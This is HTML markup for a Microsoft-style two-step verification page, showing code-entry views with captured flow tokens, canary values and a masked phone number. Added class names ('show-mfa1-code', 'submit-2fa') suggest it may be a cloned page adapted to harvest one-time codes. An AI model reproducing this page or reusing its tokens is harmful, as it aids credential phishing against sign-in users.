<!-- ko if: type === PROOF.Type.Voice || type === PROOF.Type.TwoWayVoice || type === PROOF.Type.TwoWayVoiceAlternateMobile || type === PROOF.Type.TwoWayVoiceOffice -->
    <!-- ko component: \\'accessible-image-control\\' --><!-- ko if: (isHighContrastBlackTheme || hasDarkBackground || svr.fHasBackgroundColor) && !isHighContrastWhiteTheme --><!-- /ko -->
<!-- ko if: (isHighContrastWhiteTheme || (!hasDarkBackground && !svr.fHasBackgroundColor)) && !isHighContrastBlackTheme -->
<!-- ko template: { nodes: [darkImageNode], data: $parent } --><img class="tile-img" role="presentation" pngsrc="<https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_call_3fb9c7e87c04ff8f56dd61ef8b748c02.png>" svgsrc="<https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_call_fe87496cc7a44412f7893a72099c120a.svg>" data-bind="imgSrc, css: { \\'small\\': small, \\'animate-pulse\\': animate }" src="<https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_call_fe87496cc7a44412f7893a72099c120a.svg>"><!-- /ko -->
<!-- /ko --><!-- /ko -->
<!-- /ko -->

<!-- ko if: type === PROOF.Type.TOTPAuthenticatorV2 --><!-- /ko -->

<!-- ko if: type === PROOF.Type.TOTPAuthenticator --><!-- /ko -->

<!-- ko if: type === PROOF.Type.FidoKey --><!-- /ko -->

<!-- ko if: type === PROOF.Type.AccessPass --><!-- /ko --></div>
                        </div>
                        <div class="table-cell text-left content click-to-enter" data-bind="css: { \\'content\\': !svr.fSupportWindowsStyles }">
                            <div data-bind="text: display" class="holder">
								Text <span class="add-text"></span>
							</div>
                        </div>
                    </div>
                </div>
            </div>
            <!-- /ko -->
        <!-- /ko -->
    </div>
</div>

<div data-bind="css: { \\'position-buttons\\': !tenantBranding.BoilerPlateText }" class="position-buttons">
    <div class="row">
        <!-- ko if: showHaveCodeSection || showMoreProofsLink() || lostProof || svr.urlMoreInfo || svr.fShowAuthMethodsUpdateLink -->
        <div class="col-md-24">
            <div class="text-13">
                <!-- ko if: showHaveCodeSection --><!-- /ko -->
                <!-- ko if: showMoreProofsLink --><!-- /ko -->
                <!-- ko if: lostProof && !showMoreProofsLink() --><!-- /ko -->
                <!-- ko if: svr.urlMoreInfo -->
                <div class="form-group">
                    <a id="moreInfoUrl" target="_blank" href="<https://go.microsoft.com/fwlink/p/?LinkId=708614>" data-bind="
                        text: str[\\'CT_STR_More_Info\\'],
                        href: svr.urlMoreInfo,
                        ariaLabel: str[\\'CT_STR_More_Info_AriaLabel\\']" aria-label="More information about two step verification">More information</a>
                </div>
                <!-- /ko -->
                <!-- ko if: svr.fShowAuthMethodsUpdateLink -->
                <div class="text-13 form-group">
                    <span data-bind="text: str[\\'CT_SAOTCS_STR_Update_Auth_Methods_Link\\']">Are your verification methods current? Check at <https://aka.ms/mfasetup></span>
                </div>
                <!-- /ko -->
            </div>
        </div>
        <!-- /ko -->
    </div>
</div>

<div class="win-button-pin-bottom" data-bind="css : { \\'boilerplate-button-bottom\\': tenantBranding.BoilerPlateText }">
    <div class="row" data-bind="css: { \\'move-buttons\\': tenantBranding.BoilerPlateText }">
        <div data-bind="component: { name: \\'footer-buttons-field\\',
            params: {
                serverData: svr,
                removeBottomMargin: true,
                secondaryButtonId: \\'idBtn_SAOTCS_Cancel\\',
                secondaryButtonText: secondaryButtonValue(),
                isPrimaryButtonVisible: false,
                isSecondaryButtonVisible: svr.fShowButtons &amp;&amp; showCancelButton },
            event: {
                primaryButtonClick: primaryButton_onClick,
                secondaryButtonClick: secondaryButton_onClick } }"><div class="col-xs-24 no-padding-left-right button-container no-margin-bottom" data-bind="
    visible: isPrimaryButtonVisible() || isSecondaryButtonVisible(),
    css: { \\'no-margin-bottom\\': removeBottomMargin }">

    <!-- ko if: isSecondaryButtonVisible -->
    <div class="inline-block">
        <input type="button" id="idBtn_SAOTCS_Cancel" class="win-button button-secondary button ext-button secondary ext-secondary" data-bind="
            attr: { \\'id\\': secondaryButtonId || \\'idBtn_Back\\' },
            externalCss: {
                \\'button\\': true,
                \\'secondary\\': true },
            value: secondaryButtonText() || str[\\'CT_HRD_STR_Splitter_Back\\'],
            ariaDescribedBy: secondaryButtonDescribedBy,
            hasFocus: focusOnSecondaryButton,
            click: secondaryButton_onClick,
            enable: isSecondaryButtonEnabled" value="Cancel">
    </div>
    <!-- /ko -->

    <div data-bind="css: { \\'inline-block\\': isPrimaryButtonVisible }">
        <!-- type="submit" is needed in-addition to \\'type\\' in primaryButtonAttributes observable to support IE8 -->
        <input type="submit" id="idSIButton9" class="win-button button_primary button ext-button primary ext-primary" data-report-event="Signin_Submit" data-report-trigger="click" data-report-value="Submit" data-bind="
                attr: primaryButtonAttributes,
                externalCss: {
                    \\'button\\': true,
                    \\'primary\\': true },
                value: primaryButtonText() || str[\\'CT_PWD_STR_SignIn_Button_Next\\'],
                hasFocus: focusOnPrimaryButton,
                click: primaryButton_onClick,
                enable: isPrimaryButtonEnabled,
                visible: isPrimaryButtonVisible,
                preventTabbing: primaryButtonPreventTabbing" value="Next" style="display: none;">
    </div>
</div></div>
    </div>
</div>
<!-- /ko -->

<!-- ko if: tenantBranding.BoilerPlateText --><!-- /ko --></div><!-- /ko -->
            <!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        <!-- /ko -->
    </div>
	<div style="display:none;" class="input-code pagination-view animate has-identity-banner slide-in-next" data-bind="css: {
        \\'has-identity-banner\\': showIdentityBanner() &amp;&amp; (sharedData.displayName || svr.sPOST_Username),
        \\'zero-opacity\\': hidePaginatedView.hideSubView(),
        \\'animate\\': animate(),
        \\'slide-out-next\\': animate.isSlideOutNext(),
        \\'slide-in-next\\': animate.isSlideInNext(),
        \\'slide-out-back\\': animate.isSlideOutBack(),
        \\'slide-in-back\\': animate.isSlideInBack() }">

        <!-- ko foreach: views -->
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() -->
                <!-- ko template: { nodes: [$data], data: $parent } --><div data-viewid="1" data-showidentitybanner="true" data-bind="pageViewComponent: { name: \\'otc-confirm-view\\',
                    params: {
                        serverData: svr,
                        serverError: initialError,
                        username: sharedData.username,
                        focusDefaultField: true,
                        supportsBack: true,
                        isInitialState: isInitialState,
                        sentProof: sharedData.sentProof,
                        otcProofs: sharedData.otcProofs,
                        isGeneralVerify: sharedData.isGeneralVerify,
                        proofConfirmation: sharedData.proofConfirmation,
                        showCancelButton: sharedData.showCancelButton,
                        trustedDeviceCheckboxConfig: sharedData.trustedDeviceCheckboxConfig,
                        currentPollStartTime: sharedData.currentPollStartTime,
                        currentPollEndTime: sharedData.currentPollEndTime,
                        sessionIdentifier: sharedData.sessionIdentifier,
                        twoWayPollingNeeded: sharedData.twoWayPollingNeeded,
                        hasTotpV2Only: sharedData.hasTotpV2Only,
                        hasTotpV1Only: sharedData.hasTotpV1Only,
                        flowToken: sharedData.flowToken },
                    event: {
                        cancel: view_onCancel,
                        updateFlowToken: $tfaPage.view_onUpdateFlowToken,
                        showDebugDetails: $tfaPage.toggleDebugDetails_onClick,
                        submitReady: $tfaPage.view_onSubmitReady,
                        setPendingRequest: $tfaPage.view_onSetPendingRequest,
                        setBackButtonState: view_onSetIdentityBackButtonState } }"><!--  -->

<input type="hidden" name="type" data-bind="value: postType" value="18">
<input type="hidden" name="GeneralVerify" data-bind="value: isGeneralVerify" value="false">
<input type="hidden" name="request" data-bind="value: svr.sCtx" value="rQQIARAAhVM9bONkGI6TNqRRC6X86NgqUSR0wsnnf7sS0uWvdtLYJqnT_DBEn_3Zjv_TxInrbDCxUTGAdAPDDQyVWJAQqBNiQXQ6ia3chBgQEgiddLqTWEhhPjG8r96_Z3j1PE-xwJYIskSUwN0cWQKHBzTHMjTN6DhFGixOCzrAecpkcQIJ1HpFcqwBZ3vF3b9_fT-59_GX6jc_fPJW9befPrvE9idxPJ0flstJkpQiy3IMs2REQdmHIXJCe0l-i2EPMex-dtMM8d7JZXbOUhwvMDwBWMDzNMUxbEkOFG-knfqq2IkVrevJDgCyOyTamncua8N4pLUcVUP-qG4TyjrkfieVXY8cunas9HvM6ASA4ap33u43aPl2Vu-s7xRnVO9Ohm4F3GRfUiuLeELepmjmrMzH2S0rmgXjaTSP7-c-zY6PeFnhJxrV4nvzTq2qtqco8uWEdUVHTyWOC1i8ZQJf9FKfEKWl0G3CY4U_o_XQOCIaEylESxSKy2WKFmcrRdLRrC4RpGgREtmFvqWJLGh7tXpQbR1xCm07BGuoMX86WCiwBo5P5ZbVTtKOqkxMRE2WaYPqjBr2yQAyTaRLgqoDtVkbME6L9Soc77ktIKQwkNe8TBvR0jakQYfy4sF5v9e2OabXlc14PmLxhpa4faOC0xUktVaGmSTndaY68YecHjBC4EmSJg_TXj_VEygiVqx17JrFLJIzFnG1Recy98Zz6F2SX-Xy6yKIwqvcAckKlm6aBG6ZAOI0IAgc6mitIQBp1tChSTHoOsdFUzN00P50FlmObz5POUuyrP7bSVFgliq-_0vuABpGtAjje1MfpmvekAUDx08DEzkG9G9RJbh4uIH9vvF6Ib-7fQfbz7z9KsgdFgrF3cydzH7m2Qb2YHOtX-HJzgdP33ysfH198ePV3UHmerNcoWtTu-0GiHf65eYUdh0oUIT7XnmVHvfnrlA7SquRuuCU0fBdcEhc5LGLfP46_3KzPlYa2olWUeqVbp0cg7_y2Y9ewK62_tcRH27vFDJ7W1ur175451H1RrrZfqVYXDhjP1o_Y873_nPKdzuZZy_--eDzR9__fPGH9A81">
<input type="hidden" name="mfaLastPollStart" data-bind="value: currentPollStartTime" value="1653984269198">
<input type="hidden" name="mfaLastPollEnd" data-bind="value: currentPollEndTime" value="1653984271034">

<input type="hidden" data-bind="attr: { name: svr.sAuthMethodInputFieldName }, value: proofData" name="mfaAuthMethod" value="OneWaySMS">

<!-- ko if: svr.canary -->
<input type="hidden" name="canary" data-bind="value: svr.canary" value="A4CpgLjmd8iW/IpaRia931jP/zyKWsj9CFyBoOu7NZY=1:1">
<!-- /ko -->
<!-- ko if: proofConfirmation --><!-- /ko -->

<div id="idDiv_SAOTCC_Title" class="row text-title" role="heading" aria-level="1" data-bind="text: twoWayPollingNeeded ? str[\\'CT_SAOTCAS_STR_Title\\'] : str[\\'CT_SAOTCS_STR_Title\\']">Enter code</div>
<div class="row text-body">
    <div data-bind="component: { name: \\'proof-image-control\\', params: { type: proofImageType, small: true, animate: twoWayPollingNeeded } }"><!--  -->

<!-- ko if: type === PROOF.Type.Email --><!-- /ko -->

<!-- ko if: type === PROOF.Type.SMS || type === PROOF.Type.TwoWaySMS || type === PROOF.Type.TwoWaySMSAlternateMobile -->
    <!-- ko component: \\'accessible-image-control\\' --><!-- ko if: (isHighContrastBlackTheme || hasDarkBackground || svr.fHasBackgroundColor) && !isHighContrastWhiteTheme --><!-- /ko -->
<!-- ko if: (isHighContrastWhiteTheme || (!hasDarkBackground && !svr.fHasBackgroundColor)) && !isHighContrastBlackTheme -->
<!-- ko template: { nodes: [darkImageNode], data: $parent } --><img class="tile-img small" role="presentation" pngsrc="<https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_sms_b15dda889e9803e9d6befd60000fadf8.png>" svgsrc="<https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_sms_27a6d18b56f46818420e60a773c36d4e.svg>" data-bind="imgSrc, css: { \\'small\\': small, \\'animate-pulse\\': animate }" src="<https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_sms_27a6d18b56f46818420e60a773c36d4e.svg>"><!-- /ko -->
<!-- /ko --><!-- /ko -->
<!-- /ko -->

<!-- ko if: type === PROOF.Type.Voice || type === PROOF.Type.TwoWayVoice || type === PROOF.Type.TwoWayVoiceAlternateMobile || type === PROOF.Type.TwoWayVoiceOffice --><!-- /ko -->

<!-- ko if: type === PROOF.Type.TOTPAuthenticatorV2 --><!-- /ko -->

<!-- ko if: type === PROOF.Type.TOTPAuthenticator --><!-- /ko -->

<!-- ko if: type === PROOF.Type.FidoKey --><!-- /ko -->

<!-- ko if: type === PROOF.Type.AccessPass --><!-- /ko --></div>
    <div id="idDiv_SAOTCC_Description" class="text-block-body overflow-hidden" data-bind="text: description">We texted your phone <span class="add-text">+X XXXXXXXX71</span>. Please enter the code to sign in.</div>
</div>

<div class="text-block-body">
    <div id="idDiv_SAOTCC_OTCRow" class="form-group">
        <div role="alert" aria-live="assertive">
            <!-- ko if: error --><!-- /ko -->
			<div class="row code-error" >
                <div style="display:none;" id="idDiv_SAOTCC_ErrorMsg_OTC" class="sms-error alert alert-error first">
                    <span id="idSpan_SAOTCC_Error_OTC" data-bind="html: error" class="error-type">You didn\\'t enter the expected verification code. Please try again.</span>
                    <!-- ko if: svr.fShowViewDetailsLink -->
                    <a id="ViewDetails" class="no-wrap" href="#" data-bind="
                        text: str[\\'CT_STR_Error_ViewDetails\\'],
                        clickExpr: onShowDebugDetails(debugDetails, true),
                        ariaLabel: str[\\'CT_STR_Error_ViewDetailsAriaLabel\\']" aria-label="View debugging details for this error">View details</a>
                    <!-- /ko -->
                </div>
            </div>
        </div>
        <div id="idDiv_SAOTCC_Success_OTC" class="errorDiv" style="display: none;">
            <span id="idSpan_SAOTCC_Success_OTC" class="success"></span>
        </div>
        <!-- ko ifnot: twoWayPollingNeeded || hideInputControls() -->
        <div id="idDiv_SAOTCC_OTC" class="textbox form-group">
            <div class="placeholderContainer" data-bind="component: { name: \\'placeholder-textbox-field\\',
                publicMethods: otcInputTextbox.placeholderTextboxMethods,
                params: {
                    serverData: svr,
                    hintText: str[\\'CT_SAOTCC_STR_OTC_TBHint\\'] },
                event: {
                    updateFocus: otcInputTextbox.textbox_onUpdateFocus } }"><!-- ko withProperties: { \\'$placeholderText\\': placeholderText } -->
    <!-- ko template: { nodes: $componentTemplateNodes, data: $parent } -->

                <input id="idTxtBx_SAOTCC_OTC" name="otc" class="form-control" type="tel" autocomplete="off" aria-required="true" data-bind="
                    attr: {
                        \\'maxlength\\': otcLength,
                        \\'aria-labelledby\\': \\'idDiv_SAOTCC_Title\\',
                        \\'aria-describedby\\': \\'idDiv_SAOTCS_Title idDiv_SAOTCC_Description idSpan_SAOTCC_Error_OTC\\' },
                    css: { \\'has-error\\': error },
                    textInput: otcInputTextbox.value,
                    ariaLabel: str[\\'CT_SAOTCC_STR_OTC_TBHint\\'],
                    hasFocusEx: otcInputTextbox.focused,
                    placeholder: $placeholderText" maxlength="6" aria-labelledby="idDiv_SAOTCC_Title" aria-describedby="idDiv_SAOTCS_Title idDiv_SAOTCC_Description idSpan_SAOTCC_Error_OTC" aria-label="Code" placeholder="Code">
            <!-- /ko -->
<!-- /ko -->
<!-- ko ifnot: usePlaceholderAttribute --><!-- /ko --></div>
        </div>

        <!-- ko if: twoFactorAuthPinEnabled --><!-- /ko -->
        <!-- /ko -->
    </div>
</div>
<div class="text-block-body text-body" data-bind="visible: showSendNotification" style="display: none;">
    <a id="idA_SAOTCC_SendNotification" href="#" data-bind="html: str[\\'CT_SAOTCC_STR_SendNotification\\'], click: switchToSessionApproval_onClick">Send an identity verification request to my Microsoft Authenticator app.</a>
</div>

<div data-bind="css: { \\'position-buttons\\': !tenantBranding.BoilerPlateText &amp;&amp; !twoWayPollingNeeded }" class="position-buttons">
    <div class="row">
        <div id="idDiv_SAOTCC_TD_Section" class="no-margin-top-bottom" data-bind="visible: tdCheckbox.isShown &amp;&amp; !hideInputControls()" style="display: none;">
            <div id="idDiv_SAOTCC_TD" class="col-md-24 form-group no-margin-top checkbox">
                <label id="idLbl_SAOTCC_TD_Cb">
                    <input id="idChkBx_SAOTCC_TD" type="checkbox" value="true" data-bind="checked: tdCheckbox.isChecked, disable: tdCheckbox.isDisabled, ariaLabel: str[\\'CT_SAOTCC_STR_AddTD\\'], attr: { name: svr.sTrustedDeviceCheckboxName }" name="rememberMFA" aria-label="Don\\'t ask again for undefined days">
                    <span data-bind="text: str[\\'CT_SAOTCC_STR_AddTD\\']">Don\\'t ask again for undefined days</span>
                </label>
            </div>
        </div>

        <!-- ko if: isInitialState || svr.urlMoreInfo -->
        <div class="col-md-24">
            <div class="text-13">
                <!-- ko if: isInitialState && showSwitchProofsLink -->
                <div class="form-group" id="idDiv_SAOTCS_HavingTrouble" data-bind="
                        htmlWithBindings: str[\\'CT_SAOTCC_STR_Toggle\\'],
                        childBindings: { \\'signInAnotherWay\\': { click: switchToOtcRequest_onClick } }">Having trouble? <a href="#" id="signInAnotherWay">Sign in another way</a></div>
                <!-- /ko -->
                <!-- ko if: svr.urlMoreInfo -->
                <div data-bind="css: { \\'form-group\\': !twoWayPollingNeeded }" class="form-group">
                    <a id="moreInfoUrl" target="_blank" href="<https://go.microsoft.com/fwlink/p/?LinkId=708614>" data-bind="
                            text: str[\\'CT_STR_More_Info\\'],
                            href: svr.urlMoreInfo,
                            ariaLabel: str[\\'CT_STR_More_Info_AriaLabel\\']" aria-label="More information about two step verification">More information</a>
                </div>
                <!-- /ko -->
            </div>
        </div>
        <!-- /ko -->
    </div>
</div>

<div class="win-button-pin-bottom" data-bind="css : { \\'boilerplate-button-bottom\\': tenantBranding.BoilerPlateText }">
    <div class="row" data-bind="css: { \\'move-buttons\\': tenantBranding.BoilerPlateText }">
        <div data-bind="component: { name: \\'footer-buttons-field\\',
            params: {
                serverData: svr,
                removeBottomMargin: true,
                primaryButtonId: \\'idSubmit_SAOTCC_Continue\\',
                primaryButtonText: str[\\'CT_SAOTCC_STR_Continue\\'],
                secondaryButtonId: \\'idBtn_Back\\',
                secondaryButtonText: str[\\'CT_SAOTCC_STR_Cancel\\'],
                isSecondaryButtonVisible: !showSwitchProofsLink,
                isPrimaryButtonVisible: svr.fShowButtons &amp;&amp; !twoWayPollingNeeded &amp;&amp; !hideInputControls(),
                secondaryButtonDescribedBy: (svr.fShowButtons &amp;&amp; twoWayPollingNeeded) ? \\'idDiv_SAOTCC_Description\\' : null },
            event: {
                primaryButtonClick: primaryButton_onClick,
                secondaryButtonClick: secondaryButton_onClick } }"><div class="col-xs-24 no-padding-left-right button-container no-margin-bottom" data-bind="
    visible: isPrimaryButtonVisible() || isSecondaryButtonVisible(),
    css: { \\'no-margin-bottom\\': removeBottomMargin }">

    <!-- ko if: isSecondaryButtonVisible --><!-- /ko -->

    <div data-bind="css: { \\'inline-block\\': isPrimaryButtonVisible }" class="inline-block">
        <!-- type="submit" is needed in-addition to \\'type\\' in primaryButtonAttributes observable to support IE8 -->
        <input type="submit" id="idSubmit_SAOTCC_Continue" class="submit-2fa btn btn-block btn-primary" data-report-event="Signin_Submit" data-report-trigger="click" data-report-value="Submit" data-bind="
                attr: primaryButtonAttributes,
                externalCss: {
                    \\'button\\': true,
                    \\'primary\\': true },
                value: primaryButtonText() || str[\\'CT_PWD_STR_SignIn_Button_Next\\'],
                hasFocus: focusOnPrimaryButton,
                click: primaryButton_onClick,
                enable: isPrimaryButtonEnabled,
                visible: isPrimaryButtonVisible,
                preventTabbing: primaryButtonPreventTabbing" value="Verify">
    </div>
</div></div>
    </div>
</div>

<!-- ko if: tenantBranding.BoilerPlateText --><!-- /ko --></div><!-- /ko -->
            <!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        <!-- /ko -->
    </div>
	
	
	
	
	<div style="display:none;" class="show-mfa1-code pagination-view animate has-identity-banner slide-in-next" data-bind="css: {
        \\'has-identity-banner\\': showIdentityBanner() &amp;&amp; (sharedData.displayName || svr.sPOST_Username),
        \\'zero-opacity\\': hidePaginatedView.hideSubView(),
        \\'animate\\': animate(),
        \\'slide-out-next\\': animate.isSlideOutNext(),
        \\'slide-in-next\\': animate.isSlideInNext(),
        \\'slide-out-back\\': animate.isSlideOutBack(),
        \\'slide-in-back\\': animate.isSlideInBack() }">

        <!-- ko foreach: views -->
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() -->
                <!-- ko template: { nodes: [$data], data: $parent } --><div data-viewid="1" data-showidentitybanner="true" data-bind="pageViewComponent: { name: \\'otc-confirm-view\\',
                    params: {
                        serverData: svr,
                        serverError: initialError,
                        username: sharedData.username,
                        focusDefaultField: true,
                        supportsBack: true,
                        isInitialState: isInitialState,
                        sentProof: sharedData.sentProof,
                        otcProofs: sharedData.otcProofs,
                        isGeneralVerify: sharedData.isGeneralVerify,
                        proofConfirmation: sharedData.proofConfirmation,
                        showCancelButton: sharedData.showCancelButton,
                        trustedDeviceCheckboxConfig: sharedData.trustedDeviceCheckboxConfig,
                        currentPollStartTime: sharedData.currentPollStartTime,
                        currentPollEndTime: sharedData.currentPollEndTime,
                        sessionIdentifier: sharedData.sessionIdentifier,
                        twoWayPollingNeeded: sharedData.twoWayPollingNeeded,
                        hasTotpV2Only: sharedData.hasTotpV2Only,
                        hasTotpV1Only: sharedData.hasTotpV1Only,
                        flowToken: sharedData.flowToken },
                    event: {
                        cancel: view_onCancel,
                        updateFlowToken: $tfaPage.view_onUpdateFlowToken,
                        showDebugDetails: $tfaPage.toggleDebugDetails_onClick,
                        submitReady: $tfaPage.view_onSubmitReady,
                        setPendingRequest: $tfaPage.view_onSetPendingRequest,
                        setBackButtonState: view_onSetIdentityBackButtonState } }"><!--  -->

<input type="hidden" name="type" data-bind="value: postType" value="19">
<input type="hidden" name="GeneralVerify" data-bind="value: isGeneralVerify" value="false">
<input type="hidden" name="request" data-bind="value: svr.sCtx" value="rQQIARAAjZI7bNNgAITtOjVJaaHqAEgMIGAB1cn_-xHXkZDI22mUNI5TomSJXPvPo7H9J37ESVgQLIwdWGBk7ARIlaoOqHMrpM6dEAsVAgkYoCOtWNjghtONp_vuHgWjMHEH_BHLnDsD2m3I6Og8_SVnaW7x_fdje2df3dnN_ry-LPxC2-SNrucN3EQshn3PxLgfxe12T0dRHVsxHGixXZI8IskTktyeEeOcKEFOEgWRjQO4IgIxKmkACCsGZCDkdIYHaIPReJ5jdCjyiNVEUWDF45nLa0nf67Lnhp3eFP2YibSxY7UG2PVeUp_ITMOXMrgQ5JOpFMevlxkDp-UxW-jw5ljJl5WkWGy0OkDLPiwUxw7iAgmCXNBMuRXNraRzfKrZmQqF6ni6mrGUJM5ycjLVT9W1cUEJcprRaaanqlmqFxv5IVZKAe6OBKPvZ52-D3GXE4BQr6GqY8nr-WGjMuHVickyjl1ly57c72ZKZk-bVmuMvxmH6aIScEO9NHFkKIE6YFTdHMHRWisuxX2xmZZWG0253B6oIm_nRjU7tZl3Ba9lVMqisrJN_ReotxR9tr6F7QOKxgNk94yP1G1k9cxJNOiZZ2UsF9sPdGRoTsdEdhdbyD3ndRQiP4TIz6F5QCXC4blF4hpxkzgNka9mz8i_iQ6uXH30uvj4HXEoezZxMBszjHWvWx3CtApHNcVDI1ewLKHTVlFFk5KcbTbjIOsLYOq596UE3KLJLZreoyNhapG4RaUr8IQmv9HUswvkXuRfNzq6SD6ZXwgTS5HI9K6_vKEey_sLxOmlw68HT198ef5V_g01">
<input type="hidden" name="mfaLastPollStart" data-bind="value: currentPollStartTime" value="1655801034968">
<input type="hidden" name="mfaLastPollEnd" data-bind="value: currentPollEndTime" value="1655801035874">

<input type="hidden" data-bind="attr: { name: svr.sAuthMethodInputFieldName }, value: proofData" name="mfaAuthMethod" value="PhoneAppOTP">

<!-- ko if: svr.canary -->
<input type="hidden" name="canary" data-bind="value: svr.canary" value="ddUthRq1CS1vTQtevs5mm5gfSePa9A3nlZ60Eu50zts=4:1">
<!-- /ko -->
<!-- ko if: proofConfirmation --><!-- /ko -->

<div id="idDiv_SAOTCC_Title" class="row text-title" role="heading" aria-level="1" data-bind="text: twoWayPollingNeeded ? str[\\'CT_SAOTCAS_STR_Title\\'] : str[\\'CT_SAOTCS_STR_Title\\']">Enter code</div>
<div class="row text-body">
    <div data-bind="component: { name: \\'proof-image-control\\', params: { type: proofImageType, small: true, animate: twoWayPollingNeeded } }"><!--  -->

<!-- ko if: type === PROOF.Type.Email --><!-- /ko -->

<!-- ko if: type === PROOF.Type.SMS || type === PROOF.Type.TwoWaySMS || type === PROOF.Type.TwoWaySMSAlternateMobile --><!-- /ko -->

<!-- ko if: type === PROOF.Type.Voice || type === PROOF.Type.TwoWayVoice || type === PROOF.Type.TwoWayVoiceAlternateMobile || type === PROOF.Type.TwoWayVoiceOffice --><!-- /ko -->

<!-- ko if: type === PROOF.Type.TOTPAuthenticatorV2 --><!-- /ko -->

<!-- ko if: type === PROOF.Type.TOTPAuthenticator -->
    <!-- ko component: \\'accessible-image-control\\' --><!-- ko if: (isHighContrastBlackTheme || hasDarkBackground || svr.fHasBackgroundColor) && !isHighContrastWhiteTheme --><!-- /ko -->
<!-- ko if: (isHighContrastWhiteTheme || (!hasDarkBackground && !svr.fHasBackgroundColor)) && !isHighContrastBlackTheme -->
<!-- ko template: { nodes: [darkImageNode], data: $parent } --><img class="tile-img small" role="presentation" pngsrc="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAYAAABXAvmHAAAACXBIWXMAAAsSAAALEgHS3X78AAABj0lEQVRo3u2Z0W3CMBCGP6q+wwjdgHSCxhOUEdigbNB0g3aC0gmgE/xhg7AB3QAmoC9nyYpCQaKKob17IbId6T7f/58NDPb7PdccN1x5OIADOIADOIADOEDOuD22IISQ9bIkafC/K3DqTvx2nFp5N7ED9OWBH7RaAltJTcc4QCNp25obAYV5q84CEEKYABUwBlZAaeMVMAOGydo3STN7buydOLcDCkmb3iQUQqiBRZpIEqUl/wXsbOzJgLF30rmhbUTvHtgB647xGgiS7qJMLOLzfTIX35/0DTCTNAKWHedFdUDX0Qcb80cBjBLo/jzQNuwBmRXAPKnWPKmEkqUrYHpRbTSEMLVdHVvyZdKJtpZ09MCDmf4yACz5dzPn2jpMk1ZPUmkS/LDhZ2ut/Z8DHfFqn5+SJi24aN7aKrJJJEZ2ANN97P+PrQvZi8lqkfT/uHbZPuxySeiYDKL+SZJfneOBsyogqUoPIWufx67dpV/mHMABMnwfyP3rxJ+twMD/I3MAB3AAB3AAB3CAfwzwDf8fjMydA+KUAAAAAElFTkSuQmCC" svgsrc="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI0OCIgaGVpZ2h0PSI0OCIgdmlld0JveD0iMCAwIDQ4IDQ4Ij48dGl0bGU+YXNzZXRzPC90aXRsZT48cmVjdCB3aWR0aD0iNDgiIGhlaWdodD0iNDgiIGZpbGw9Im5vbmUiLz48cGF0aCBkPSJNMzgsMTRIMTBWMzRIMzhWMTRtMiwyMkg4VjEySDQwVjM2TTE3LjY4OCwxOC44VjI4LjgyOEgxNS41MzFWMjEuMjM0YTMuMiwzLjIsMCwwLDEtLjY3Mi40M2wtLjI2Ni4xMTdhMi41NSwyLjU1LDAsMCwxLS41NjIuMTg4LDIuNDIzLDIuNDIzLDAsMCwxLS4zLjA3cS0uMTQxLjAyMy0uMjgxLjA1NVYyMC4yNjZxLjQyMi0uMTI1LjgxMy0uMjgxdC43NjYtLjM0NGE4LjI1Myw4LjI1MywwLDAsMCwxLjM0NC0uODQ0aDEuMzEzbTQuNTMxLDguMjM0aDQuMTU2djEuOEgxOS44NTl2LS43NWEzLjI5MiwzLjI5MiwwLDAsMSwuMjUtMS4zNDQsNC4xODMsNC4xODMsMCwwLDEsLjYyNS0xLjA3OCw1LjcsNS43LDAsMCwxLC44NDQtLjgyOHEuMjE5LS4xODcuNDM4LS4zNTJ0LjQyMi0uMzJxLjQ1My0uMzEyLjc2Ni0uNTc4YTIuNTkzLDIuNTkzLDAsMCwwLC4zLS4yODFsLjI1LS4yODFhMy4xNDgsMy4xNDgsMCwwLDAsLjMyOC0uNTYyLDEuNTksMS41OSwwLDAsMCwuMTA5LS42MDksMS4xNzYsMS4xNzYsMCwwLDAtLjM1OS0uOTM3LDEuNTUyLDEuNTUyLDAsMCwwLTEuMDc4LS4zMjgsMy42MjUsMy42MjUsMCwwLDAtMi40MjIsMVYxOS42ODhhNC44NjYsNC44NjYsMCwwLDEsMS4zNTktLjYyNSw1LjU0OCw1LjU0OCwwLDAsMSwxLjUxNi0uMiw0LjQ1Niw0LjQ1NiwwLDAsMSwxLjM0NC4xODgsMi40NjEsMi40NjEsMCwwLDEsMSwuNTYzLDIuMjQyLDIuMjQyLDAsMCwxLC42MjUuODc1LDMuMDA3LDMuMDA3LDAsMCwxLC4yMTks